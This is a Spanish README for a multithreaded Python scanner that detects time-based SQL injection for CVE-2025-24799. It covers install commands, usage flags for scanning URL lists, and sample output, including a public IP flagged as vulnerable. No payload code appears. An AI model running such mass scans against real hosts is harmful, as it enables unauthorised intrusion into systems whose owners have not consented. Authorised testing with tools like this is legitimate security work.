Escáner SQLi CVE-2025-24799

Un escáner rápido de vulnerabilidades de inyección SQL creado con Python. Utiliza detección de SQLi basada en tiempo con multihilo y salida colorida, diseñado para probar vulnerabilidades CVE-2025-24799.

Características

• Escanea URL individuales o listas desde archivos
• Muestra las URL vulnerables en vivo a medida que se encuentran
• Multihilo para mayor velocidad
• Salida CLI colorida
• Opción para guardar resultados

Instalación

1. Clona el repositorio:

   root@kitploit:~

   git clone https://github.com/MuhammadWaseem29/CVE-2025-24799.git
   cd CVE-2025-24799
   

2. Instala los paquetes requeridos:

   root@kitploit:~

   pip install requests colorama
   

Uso

Ejecuta con Python 3:

Escanear una URL única

python3 exploit.py -u http://example.com

Salida:

[VULN] http://example.com/index.php/ajax/ - Delay: 7.40s

Escanear URL desde un archivo

python3 exploit.py -f urls.txt -t 15

Salida:

Scanning: 100/1000 (10.0%)
[VULN] http://example.com/index.php/ajax/ - Delay: 7.10s

Guardar resultados en un archivo

python3 exploit.py -f urls.txt -o results.txt -t 10

Salida:

Scanning: 50/500 (10.0%)
[VULN] http://test.com/index.php/ajax/ - Delay: 7.20s
[+] Results saved to results.txt

Valida con curl

Opciones

• -u <URL>: URL única para escanear
• -f <FILE>: Archivo con URL (una por línea)
• -o <FILE>: Guardar resultados en un archivo
• -t <NUM>: Número de hilos (por defecto: 10)

Salida de ejemplo

╔════════════════════════════╗
║ Noob-Wasi SQLi Scanner    ║
║ Coded by: Noob-Wasi       ║
║ Version: 1.0             ║
╚════════════════════════════╝

Starting SQL injection scan...
Scanning: 200/3494 (5.7%)
[VULN] http://152.67.42.99/index.php/ajax/ - Delay: 7.40s
Scanning: 745/3494 (21.3%)

Scan completed!

Notas

• Requiere Python 3.x
• Prueba solo en sistemas que tengas permiso para escanear
• Ajusta los hilos (-t) según tu sistema/red

Autor: Noob-Wasi
GitHub: github.com/MuhammadWaseem29